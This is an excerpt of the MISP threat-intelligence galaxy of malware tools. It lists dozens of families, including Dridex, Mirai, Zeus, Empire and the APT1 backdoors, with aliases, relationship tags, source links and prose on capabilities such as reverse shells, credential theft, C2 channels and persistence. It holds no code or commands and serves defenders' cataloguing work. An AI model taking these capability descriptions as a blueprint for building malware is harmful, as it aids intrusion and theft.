Backdoor.Dripion was custom developed, deployed in a highly targeted fashion, and used command and control servers disguised as antivirus company websites.
The tag is: misp-galaxy:tool="Backdoor.Dripion"
Backdoor.Dripion is also known as:
-
Dripion
Links |
http://www.symantec.com/connect/blogs/taiwan-targeted-new-cyberespionage-back-door-trojan |
Adwind
Adwind is a backdoor written purely in Java that targets system supporting the Java runtime environment. Commands that can be used, among other things, to display messages on the system, open URLs, update the malware, download/execute files, and download/load plugins. A significant amount of additional functionality can be provided through downloadable plugins, including such things as remote control options and shell command execution.
The tag is: misp-galaxy:tool="Adwind"
Adwind is also known as:
-
AlienSpy
-
Frutas
-
Unrecom
-
Sockrat
-
JSocket
-
jRat
-
Backdoor:Java/Adwind
Adwind has relationships with:
-
similar: misp-galaxy:rat="Adwind RAT" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:android="Adwind" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:android="Sockrat" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-probability="likely"
Links |
Bedep
The tag is: misp-galaxy:tool="Bedep"
Bedep has relationships with:
-
similar: misp-galaxy:malpedia="Bedep" with estimative-language:likelihood-probability="likely"
Cromptui
The tag is: misp-galaxy:tool="Cromptui"
Dridex
Dridex is a strain of banking malware that leverages macros in Microsoft Office to infect systems. Once a computer has been infected, Dridex attackers can steal banking credentials and other personal information on the system to gain access to the financial records of a user.
The tag is: misp-galaxy:tool="Dridex"
Dridex is also known as:
-
Cridex
Dridex has relationships with:
-
similar: misp-galaxy:banker="Dridex" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Dridex" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:banker="Feodo" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Bugat" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Feodo" with estimative-language:likelihood-probability="likely"
Links |
Fareit
The tag is: misp-galaxy:tool="Fareit"
Fareit has relationships with:
-
similar: misp-galaxy:malpedia="Pony" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="Hancitor" with estimative-language:likelihood-probability="likely"
Gafgyt
The tag is: misp-galaxy:tool="Gafgyt"
Gafgyt has relationships with:
-
similar: misp-galaxy:malpedia="Bashlite" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:botnet="Gafgyt" with estimative-language:likelihood-probability="likely"
Gamarue
The tag is: misp-galaxy:tool="Gamarue"
Gamarue is also known as:
-
Andromeda
Gamarue has relationships with:
-
similar: misp-galaxy:malpedia="Andromeda" with estimative-language:likelihood-probability="likely"
Links |
https://blog.gdatasoftware.com/2015/03/24274-the-andromeda-gamarue-botnet-is-on-the-rise-again |
Necurs
The Necurs botnet is a distributor of many pieces of malware, most notably Locky.
The tag is: misp-galaxy:tool="Necurs"
Necurs has relationships with:
-
similar: misp-galaxy:malpedia="Necurs" with estimative-language:likelihood-probability="likely"
Links |
Palevo
The tag is: misp-galaxy:tool="Palevo"
Akbot
The tag is: misp-galaxy:tool="Akbot"
Akbot is also known as:
-
Qbot
-
Qakbot
-
PinkSlipBot
Akbot has relationships with:
-
similar: misp-galaxy:banker="Qakbot" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:botnet="Akbot" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="QakBot" with estimative-language:likelihood-probability="likely"
Links |
Upatre
Upatre is a Trojan downloader that is used to set up other threats on the victim’s PC. Upatre has been used recently in several high profile Trojan attacks involving the Gameover Trojan.
The tag is: misp-galaxy:tool="Upatre"
Upatre has relationships with:
-
similar: misp-galaxy:malpedia="Upatre" with estimative-language:likelihood-probability="likely"
Vawtrak
Vawtrak is an information stealing malware family that is primarily used to gain unauthorised access to bank accounts through online banking websites.
The tag is: misp-galaxy:tool="Vawtrak"
Vawtrak has relationships with:
-
similar: misp-galaxy:banker="Vawtrak" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Vawtrak" with estimative-language:likelihood-probability="likely"
Links |
Empire
Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework
The tag is: misp-galaxy:tool="Empire"
Empire has relationships with:
-
similar: misp-galaxy:exploit-kit="Empire" with estimative-language:likelihood-probability="likely"
Links |
Explosive
Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive.
The tag is: misp-galaxy:tool="Explosive"
Links |
https://www.checkpoint.com/downloads/volatile-cedar-technical-report.pdf |
KeyBoy
The actors used a new version of “KeyBoy,” a custom backdoor first disclosed by researchers at Rapid7 in June 2013. Their work outlined the capabilities of the backdoor, and exposed the protocols and algorithms used to hide the network communication and configuration data
The tag is: misp-galaxy:tool="KeyBoy"
KeyBoy has relationships with:
-
similar: misp-galaxy:malpedia="KeyBoy" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Yahoyah" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="Yahoyah" with estimative-language:likelihood-probability="likely"
Links |
Yahoyah
The attacks in this case are associated with a campaign called Tropic Trooper, which has been active since at least 2011 and is known for heavily targeting Taiwan. One of the attacks used their known Yahoyah malware…
The tag is: misp-galaxy:tool="Yahoyah"
Yahoyah is also known as:
-
W32/Seeav
Yahoyah has relationships with:
-
similar: misp-galaxy:malpedia="KeyBoy" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Yahoyah" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="KeyBoy" with estimative-language:likelihood-probability="likely"
Links |
Mirai
Mirai (Japanese for "the future") is malware that turns computer systems running Linux into remotely controlled "bots", that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as remote cameras and home routers. The Mirai botnet has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs’s web site, an attack on French web host OVH and the October 2016 Dyn cyberattack.
The tag is: misp-galaxy:tool="Mirai"
Mirai is also known as:
-
Linux/Mirai
Mirai has relationships with:
-
similar: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Mirai (ELF)" with estimative-language:likelihood-probability="likely"
-
variant-of: misp-galaxy:botnet="Owari" with estimative-language:likelihood-probability="likely"
-
variant-of: misp-galaxy:botnet="Sora" with estimative-language:likelihood-probability="likely"
Links |
Masuta
IoT malware based on Mirai but slightly improved.
The tag is: misp-galaxy:tool="Masuta"
Masuta is also known as:
-
PureMasuta
Links |
BASHLITE
The tag is: misp-galaxy:tool="BASHLITE"
BlackEnergy
BlackEnergy is a trojan which has undergone significant functional changes since it was first publicly analysed by Arbor Networks in 2007. It has evolved from a relatively simple DDoS trojan into a relatively sophisticated piece of modern malware with a modular architecture, making it a suitable tool for sending spam and for online bank fraud, as well as for targeted attacks. BlackEnergy version 2, which featured rootkit techniques, was documented by SecureWorks in 2010. The targeted attacks recently discovered are proof that the trojan is still alive and kicking in 2014. We provide a technical analysis of the BlackEnergy family, focusing on novel functionality and the differences introduced by new lite variants. We describe the most notable aspects of the malware, including its techniques for bypassing UAC, defeating the signed driver requirement in Windows and a selection of BlackEnergy2 plug-ins used for parasitic file infections, network discovery and remote code execution and data collection.
The tag is: misp-galaxy:tool="BlackEnergy"
BlackEnergy has relationships with:
-
similar: misp-galaxy:mitre-malware="BlackEnergy - S0089" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="BlackEnergy" with estimative-language:likelihood-probability="likely"
Links |
Trojan.Seaduke
Trojan.Seaduke is a Trojan horse that opens a back door on the compromised computer. It may also download potentially malicious files.
The tag is: misp-galaxy:tool="Trojan.Seaduke"
Trojan.Seaduke is also known as:
-
Seaduke
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-031915-4935-99 |
Backdoor.Tinybaron
The tag is: misp-galaxy:tool="Backdoor.Tinybaron"
Incognito RAT
The tag is: misp-galaxy:tool="Incognito RAT"
DownRage
The tag is: misp-galaxy:tool="DownRage"
DownRage is also known as:
-
Carberplike
Links |
https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/ |
GeminiDuke
GeminiDuke is malware that was used by APT29 from 2009 to 2012.
The tag is: misp-galaxy:tool="GeminiDuke"
GeminiDuke has relationships with:
-
similar: misp-galaxy:mitre-malware="GeminiDuke - S0049" with estimative-language:likelihood-probability="likely"
Links |
Zeus
Trojan.Zbot, also called Zeus, is a Trojan horse that attempts to steal confidential information from the compromised computer. It may also download configuration files and updates from the Internet. The Trojan is created using a Trojan-building toolkit.
The tag is: misp-galaxy:tool="Zeus"
Zeus is also known as:
-
Trojan.Zbot
-
Zbot
Zeus has relationships with:
-
similar: misp-galaxy:banker="Zeus" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:botnet="Zeus" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Zeus" with estimative-language:likelihood-probability="likely"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2010-011016-3514-99 |
Shifu
Shifu is a Banking Trojan first discovered in 2015. Shifu is based on the Shiz source code which incorporated techniques used by Zeus. Attackers use Shifu to steal credentials for online banking websites around the world, starting in Russia but later including the UK, Italy, and others.
The tag is: misp-galaxy:tool="Shifu"
Shifu has relationships with:
-
similar: misp-galaxy:malpedia="Shifu" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="Shiz" with estimative-language:likelihood-probability="likely"
Links |
http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/ |
Shiz
The new variant of the Shiz Trojan malware targets mission-critical enterprise resource planning (ERP) applications — particularly SAP users.
The tag is: misp-galaxy:tool="Shiz"
Shiz has relationships with:
-
similar: misp-galaxy:tool="Shifu" with estimative-language:likelihood-probability="likely"
Links |
MM Core
Also known as “BaneChant”, MM Core is a file-less APT which is executed in memory by a downloader component. It was first reported in 2013 under the version number “2.0-LNK” where it used the tag “BaneChant” in its command-and-control (C2) network request. A second version “2.1-LNK” with the network tag “StrangeLove” was discovered shortly after.
The tag is: misp-galaxy:tool="MM Core"
MM Core is also known as:
-
MM Core backdoor
-
BigBoss
-
SillyGoose
-
BaneChant
-
StrangeLove
MM Core has relationships with:
-
similar: misp-galaxy:malpedia="MM Core" with estimative-language:likelihood-probability="likely"
Links |
https://blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose |
Shamoon
Shamoon,[a] also known as Disttrack, is a modular computer virus discovered by Seculert[1] in 2012, targeting recent NT kernel-based versions of Microsoft Windows. The virus has been used for cyber espionage in the energy sector.[2][3][4] Its discovery was announced on 16 August 2012 by Symantec,[3] Kaspersky Lab,[5] and Seculert.[6] Similarities have been highlighted by Kaspersky Lab and Seculert between Shamoon and the Flame malware.[5][6]
The tag is: misp-galaxy:tool="Shamoon"
Shamoon is also known as:
-
DistTrack
Shamoon has relationships with:
-
similar: misp-galaxy:mitre-malware="Shamoon - S0140" with estimative-language:likelihood-probability="likely"
Links |
https://securityaffairs.co/wordpress/78867/breaking-news/shamoon-virustotal.html |
GhostAdmin
According to MalwareHunterTeam and other researchers that have looked at the malware’s source code, GhostAdmin seems to be a reworked version of CrimeScene, another botnet malware family that was active around 3-4 years ago.
The tag is: misp-galaxy:tool="GhostAdmin"
GhostAdmin has relationships with:
-
similar: misp-galaxy:malpedia="GhostAdmin" with estimative-language:likelihood-probability="likely"
Links |
EyePyramid Malware
Two Italians referred to as the “Occhionero brothers” have been arrested and accused of using malware and a carefully-prepared spear-phishing scheme to spy on high-profile politicians and businessmen. This case has been called “EyePyramid”, which we first discussed last week. (Conspiracy theories aside, the name came from a domain name and directory path that was found during the research.)
The tag is: misp-galaxy:tool="EyePyramid Malware"
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-inner-workings-eyepyramid/ |
LuminosityLink
LuminosityLink is a malware family costing $40 that purports to be a system administration utility
The tag is: misp-galaxy:tool="LuminosityLink"
Links |
Flokibot
Floki Bot, described recently by Dr. Peter Stephenson from SC Magazine, is yet another bot based on the leaked Zeus code. However, the author came up with various custom modifications that makes it more interesting.
The tag is: misp-galaxy:tool="Flokibot"
Flokibot is also known as:
-
Floki Bot
-
Floki
Links |
https://www.arbornetworks.com/blog/asert/flokibot-flock-bots/ |
https://blog.malwarebytes.com/threat-analysis/2016/11/floki-bot-and-the-stealthy-dropper/ |
ZeroT
Most recently, we have observed the same group targeting military and aerospace interests in Russia and Belarus. Since the summer of 2016, this group began using a new downloader known as ZeroT to install the PlugX remote access Trojan (RAT) and added Microsoft Compiled HTML Help (.chm) as one of the initial droppers delivered in spear-phishing emails.
The tag is: misp-galaxy:tool="ZeroT"
ZeroT has relationships with:
-
similar: misp-galaxy:mitre-malware="ZeroT - S0230" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="ZeroT" with estimative-language:likelihood-probability="likely"
Links |
https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx |
StreamEx
Cylance dubbed this family of malware StreamEx, based upon a common exported function used across all samples ‘stream’, combined with the dropper functionality to append ‘ex’ to the DLL file name. The StreamEx family has the ability to access and modify the user’s file system, modify the registry, create system services, enumerate process and system information, enumerate network resources and drive types, scan for security tools such as firewall products and antivirus products, change browser security settings, and remotely execute commands. The malware documented in this post was predominantly 64-bit, however, there are 32-bit versions of the malware in the wild.
The tag is: misp-galaxy:tool="StreamEx"
StreamEx has relationships with:
-
similar: misp-galaxy:mitre-malware="StreamEx - S0142" with estimative-language:likelihood-probability="likely"
Links |
https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar |
albertino
Remote Access Trojan
The tag is: misp-galaxy:tool="albertino"
Links |
blacknix
Remote Access Trojan
The tag is: misp-galaxy:tool="blacknix"
Links |
bluebanana
Remote Access Trojan
The tag is: misp-galaxy:tool="bluebanana"
Links |
clientmesh
Remote Access Trojan
The tag is: misp-galaxy:tool="clientmesh"
Links |
cybergate
Remote Access Trojan
The tag is: misp-galaxy:tool="cybergate"
Links |
darkcomet
Remote Access Trojan
The tag is: misp-galaxy:tool="darkcomet"
Links |
darkrat
Remote Access Trojan
The tag is: misp-galaxy:tool="darkrat"
Links |
gh0st
Remote Access Trojan
The tag is: misp-galaxy:tool="gh0st"
gh0st has relationships with:
-
similar: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="likely"
Links |
greame
Remote Access Trojan
The tag is: misp-galaxy:tool="greame"
Links |
hawkeye
Remote Access Trojan
The tag is: misp-galaxy:tool="hawkeye"
Links |
javadropper
Remote Access Trojan
The tag is: misp-galaxy:tool="javadropper"
Links |
lostdoor
Remote Access Trojan
The tag is: misp-galaxy:tool="lostdoor"
Links |
luxnet
Remote Access Trojan
The tag is: misp-galaxy:tool="luxnet"
Links |
pandora
Remote Access Trojan
The tag is: misp-galaxy:tool="pandora"
Links |
poisonivy
Remote Access Trojan
The tag is: misp-galaxy:tool="poisonivy"
poisonivy has relationships with:
-
similar: misp-galaxy:rat="PoisonIvy" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="Poison Ivy" with estimative-language:likelihood-probability="likely"
Links |
predatorpain
Remote Access Trojan
The tag is: misp-galaxy:tool="predatorpain"
Links |
punisher
Remote Access Trojan
The tag is: misp-galaxy:tool="punisher"
Links |
qrat
Remote Access Trojan
The tag is: misp-galaxy:tool="qrat"
qrat has relationships with:
-
similar: misp-galaxy:rat="Qarallax" with estimative-language:likelihood-probability="likely"
Links |
shadowtech
Remote Access Trojan
The tag is: misp-galaxy:tool="shadowtech"
Links |
smallnet
Remote Access Trojan
The tag is: misp-galaxy:tool="smallnet"
Links |
spygate
Remote Access Trojan
The tag is: misp-galaxy:tool="spygate"
Links |
template
Remote Access Trojan
The tag is: misp-galaxy:tool="template"
Links |
tapaoux
Remote Access Trojan
The tag is: misp-galaxy:tool="tapaoux"
Links |
vantom
Remote Access Trojan
The tag is: misp-galaxy:tool="vantom"
Links |
virusrat
Remote Access Trojan
The tag is: misp-galaxy:tool="virusrat"
Links |
xtreme
Remote Access Trojan
The tag is: misp-galaxy:tool="xtreme"
Links |
darkddoser
Remote Access Trojan
The tag is: misp-galaxy:tool="darkddoser"
Links |
PupyRAT
Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python.
The tag is: misp-galaxy:tool="PupyRAT"
Links |
ELF_IMEIJ
Linux Arm malware spread via RFIs in cgi-bin scripts. This backdoor executes commands from a remote malicious user, effectively compromising the affected system. It connects to a website to send and receive information.
The tag is: misp-galaxy:tool="ELF_IMEIJ"
Links |
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/elf_imeij.a |
KHRAT
KHRAT is a small backdoor that has three exports (functions), namely, K1, K2, and K3. K1 checks if the current user is an administrator. If not, it uninstalls itself by calling the K2 function.
The tag is: misp-galaxy:tool="KHRAT"
KHRAT has relationships with:
-
similar: misp-galaxy:malpedia="KHRAT" with estimative-language:likelihood-probability="likely"
Links |
Trochilus
The Trochilus RAT is a threatening RAT (Remote Access Trojan) that may evade many anti-virus programs. The Trochilus RAT is currently being used as part of an extended threat campaign in South East Asia. The first appearance of the Trochilus RAT in this campaign, which has been active since August of 2015, was first detected in the summer of 2015. The Trochilus RAT is currently being used against civil society organizations and government computers in the South East Asia region, particularly in attacks directed towards the government of Myanmar.
The tag is: misp-galaxy:tool="Trochilus"
Trochilus has relationships with:
-
similar: misp-galaxy:rat="Trochilus" with estimative-language:likelihood-probability="likely"
Links |
MoonWind
The MoonWind sample used for this analysis was compiled with a Chinese compiler known as BlackMoon, the same compiler used for the BlackMoon banking Trojan. While a number of attributes match the BlackMoon banking Trojan, the malware is not the same. Both malware families were simply compiled using the same compiler, and it was the BlackMoon artifacts that resulted in the naming of the BlackMoon banking Trojan. But because this new sample is different from the BlackMoon banking Trojan,
The tag is: misp-galaxy:tool="MoonWind"
MoonWind has relationships with:
-
similar: misp-galaxy:rat="MoonWind" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-malware="MoonWind - S0149" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="MoonWind" with estimative-language:likelihood-probability="likely"
Links |
Chrysaor
Chrysaor is spyware believed to be created by NSO Group Technologies, specializing in the creation and sale of software and infrastructure for targeted attacks. Chrysaor is believed to be related to the Pegasus spyware that was first identified on iOS and analyzed by Citizen Lab and Lookout.
The tag is: misp-galaxy:tool="Chrysaor"
Chrysaor is also known as:
-
Pegasus
-
Pegasus spyware
Chrysaor has relationships with:
-
similar: misp-galaxy:mitre-malware="Pegasus for iOS - S0289" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-malware="Pegasus for Android - S0316" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Chrysaor" with estimative-language:likelihood-probability="likely"
Links |
https://security.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html |
Sathurbot
The trojan serves as a backdoor. It can be controlled remotely.
The tag is: misp-galaxy:tool="Sathurbot"
Sathurbot has relationships with:
-
similar: misp-galaxy:malpedia="Sathurbot" with estimative-language:likelihood-probability="likely"
Links |
https://www.welivesecurity.com/2017/04/06/sathurbot-distributed-wordpress-password-attack/ |
AURIGA
The AURIGA malware family shares a large amount of functionality with the BANGAT backdoor. The malware family contains functionality for keystroke logging, creating and killing processes, performing file system and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. The AURIGA malware contains a driver component which is used to inject the malware DLL into other processes. This driver can also perform process and IP connection hiding. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the "Microsoft corp" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.
The tag is: misp-galaxy:tool="AURIGA"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
BANGAT
The BANGAT malware family shares a large amount of functionality with the AURIGA backdoor. The malware family contains functionality for keylogging, creating and killing processes, performing filesystem and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. In addition, the malware also implements a custom VNC like protocol which sends screenshots of the desktop to the C2 server and accepts keyboard and mouse input. The malware communicates to its C2 servers using SSL, with self signed SSL certificates. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the "Microsoft corp" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.
The tag is: misp-galaxy:tool="BANGAT"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
BISCUIT
BISCUIT provides attackers with full access to an infected host. BISCUIT capabilities include launching an interactive command shell, enumerating servers on a Windows network, enumerating and manipulating process, and transferring files. BISCUIT communicates using a custom protocol, which is then encrypted using SSL. Once installed BISCUIT will attempt to beacon to its command/control servers approximately every 10 or 30 minutes. It will beacon its primary server first, followed by a secondary server. All communication is encrypted with SSL (OpenSSL 0.9.8i).
The tag is: misp-galaxy:tool="BISCUIT"
BISCUIT has relationships with:
-
similar: misp-galaxy:mitre-malware="BISCUIT - S0017" with estimative-language:likelihood-probability="likely"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
BOUNCER
BOUNCER will load an extracted DLL into memory, and then will call the DLL’s dump export. The dump export is called with the parameters passed via the command line to the BOUNCER executable. It requires at least two arguments, the IP and port to send the password dump information. It can accept at most five arguments, including a proxy IP, port and an x.509 key for SSL authentication. The DLL backdoor has the capability to execute arbitrary commands, collect database and server information, brute force SQL login credentials, launch arbitrary programs, create processes and threads, delete files, and redirect network traffic.
The tag is: misp-galaxy:tool="BOUNCER"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
CALENDAR
This family of malware uses Google Calendar to retrieve commands and send results. It retrieves event feeds associated with Google Calendar, where each event contains commands from the attacker for the malware to perform. Results are posted back to the event feed. The malware authenticates with Google using the hard coded email address and passwords. The malware uses the deprecated ClientLogin authentication API from Google. The malware is registered as a service dll as a persistence mechanism. Artifacts of this may be found in the registry.
The tag is: misp-galaxy:tool="CALENDAR"
CALENDAR has relationships with:
-
similar: misp-galaxy:mitre-malware="CALENDAR - S0025" with estimative-language:likelihood-probability="likely"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
COMBOS
The COMBOS malware family is an HTTP based backdoor. The backdoor is capable of file upload, file download, spawning a interactive reverse shell, and terminating its own process. The backdoor may decrypt stored Internet Explorer credentials from the local system and transmit the credentials to the C2 server. The COMBOS malware family does not have any persistence mechanisms built into itself.
The tag is: misp-galaxy:tool="COMBOS"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
COOKIEBAG
his family of malware is a backdoor capable of file upload and download as well as providing remote interactive shell access to the compromised machine. Communication with the Command & Control (C2) servers uses a combination of single-byte XOR and Base64 encoded data in the Cookie and Set-Cookie HTTP header fields. Communication with the C2 servers is over port 80. Some variants install a registry key as means of a persistence mechanism. The hardcoded strings cited include a string of a command in common with several other APT1 families.
The tag is: misp-galaxy:tool="COOKIEBAG"
COOKIEBAG is also known as:
-
TROJAN.COOKIES
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
DAIRY
Members of this malware family are backdoors that provide file downloading, process listing, process killing, and reverse shell capabilities. This malware may also add itself to the Authorized Applications list for the Windows Firewall.
The tag is: misp-galaxy:tool="DAIRY"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
GETMAIL
Members of this family of malware are utilities designed to extract email messages and attachments from Outlook PST files. One part of this utility set is an executable, one is a dll. The malware may create a registry artifact related to the executable.
The tag is: misp-galaxy:tool="GETMAIL"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
GDOCUPLOAD
This family of malware is a utility designed to upload files to Google Docs. Nearly all communications are with docs.google.com are SSL encrypted. The malware does not use Google’s published API to interact with their services. The malware does not currently work with Google Docs. It does not detect HTTP 302 redirections and will get caught in an infinite loop attempting to parse results from Google that are not present.
The tag is: misp-galaxy:tool="GDOCUPLOAD"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
GLOOXMAIL
GLOOXMAIL communicates with Google’s Jabber/XMPP servers and authenticates with a hard-coded username and password. The malware can accept commands over XMPP that includes file upload and download, provide a remote shell, sending process listings, and terminating specified processes. The malware makes extensive use of the open source gloox library (http://camaya.net/gloox/, version 0.9.9.12) to communicate using the Jabber/XMPP protocol. All communications with the Google XMPP server are encrypted.
The tag is: misp-galaxy:tool="GLOOXMAIL"
GLOOXMAIL is also known as:
-
TROJAN.GTALK
GLOOXMAIL has relationships with:
-
similar: misp-galaxy:mitre-malware="GLOOXMAIL - S0026" with estimative-language:likelihood-probability="likely"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
GOGGLES
A family of downloader malware, that retrieves an encoded payload from a fixed location, usually in the form of a file with the .jpg extension. Some variants have just an .exe that acts as a downloader, others have an .exe launcher that runs as a service and then loads an associated .dll of the same name that acts as the downloader. This IOC is targeted at the downloaders only. After downloading the file, the malware decodes the downloaded payload into an .exe file and launches it. The malware usually stages the files it uses in the %TEMP% directory or the %WINDIR%\Temp directory.
The tag is: misp-galaxy:tool="GOGGLES"
GOGGLES is also known as:
-
TROJAN.FOXY
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
GREENCAT
Members of this family are full featured backdoors that communicates with a Web-based Command & Control (C2) server over SSL. Features include interactive shell, gathering system info, uploading and downloading files, and creating and killing processes, Malware in this family usually communicates with a hard-coded domain using SSL on port 443. Some members of this family rely on launchers to establish persistence mechanism for them. Others contains functionality that allows it to install itself, replacing an existing Windows service, and uninstall itself. Several variants use %SystemRoot%\Tasks or %WinDir%\Tasks as working directories, additional malware artifacts may be found there.
The tag is: misp-galaxy:tool="GREENCAT"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
HACKFASE
This family of malware is a backdoor that provides reverse shell, process creation, system statistics collection, process enumeration, and process termination capabilities. This family is designed to be a service DLL and does not contain an installation mechanism. It usually communicates over port 443. Some variants use their own encryption, others use SSL.
The tag is: misp-galaxy:tool="HACKFASE"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
HELAUTO
This family of malware is designed to operate as a service and provides remote command execution and file transfer capabilities to a fixed IP address or domain name. All communication with the C2 server happens over port 443 using SSL. This family can be installed as a service DLL. Some variants allow for uninstallation.
The tag is: misp-galaxy:tool="HELAUTO"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
KURTON
This family of malware is a backdoor that tunnels its connection through a preconfigured proxy. The malware communicates with a remote command and control server over HTTPS via the proxy. The malware installs itself as a Windows service with a service name supplied by the attacker but defaults to IPRIP if no service name is provided during install.
The tag is: misp-galaxy:tool="KURTON"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
LIGHTBOLT
LIGHTBOLT is a utility with the ability to perform HTTP GET requests for a list of user-specified URLs. The responses of the HTTP requests are then saved as MHTML files, which are added to encrypted RAR files. LIGHTBOLT has the ability to use software certificates for authentication.
The tag is: misp-galaxy:tool="LIGHTBOLT"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
LIGHTDART
LIGHTDART is a tool used to access a pre-configured web page that hosts an interface to query a database or data set. The tool then downloads the results of a query against that web page to an encrypted RAR file. This RAR file (1.rar) is renamed and uploaded to an attacker controlled FTP server, or uploaded via an HTTP POST with a .jpg extension. The malware will execute this search once a day. The target webpage usually contains information useful to the attacker, which is updated on a regular basis. Examples of targeted information include weather information or ship coordinates.
The tag is: misp-galaxy:tool="LIGHTDART"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
LONGRUN
LONGRUN is a backdoor designed to communicate with a hard-coded IP address and provide the attackers with a custom interactive shell. It supports file uploads and downloads, and executing arbitrary commands on the compromised machine. When LONGRUN executes, it first loads configuration data stored as an obfuscated string inside the PE resource section. The distinctive string thequickbrownfxjmpsvalzydg is used as part of the input to the decoding algorithm. When the configuration data string is decoded it is parsed and treated as an IP and port number. The malware then connects to the host and begins interacting with it over a custom protocol.
The tag is: misp-galaxy:tool="LONGRUN"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
MANITSME
This family of malware will beacon out at random intervals to the remote attacker. The attacker can run programs, execute arbitrary commands, and easily upload and download files. This IOC looks for both the dropper file and the backdoor.
The tag is: misp-galaxy:tool="MANITSME"
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
MAPIGET
This malware utility is a set of two files that operate in conjunction to extract email messages and attachments from an Exchange server. In order to operate successfully, these programs require authentication credentials for a user on the Exchange server, and must be run from a machine joined to the domain that has Microsoft Outlook installed (or equivalent software that provides the Microsoft 'Messaging API' (MAPI) service).
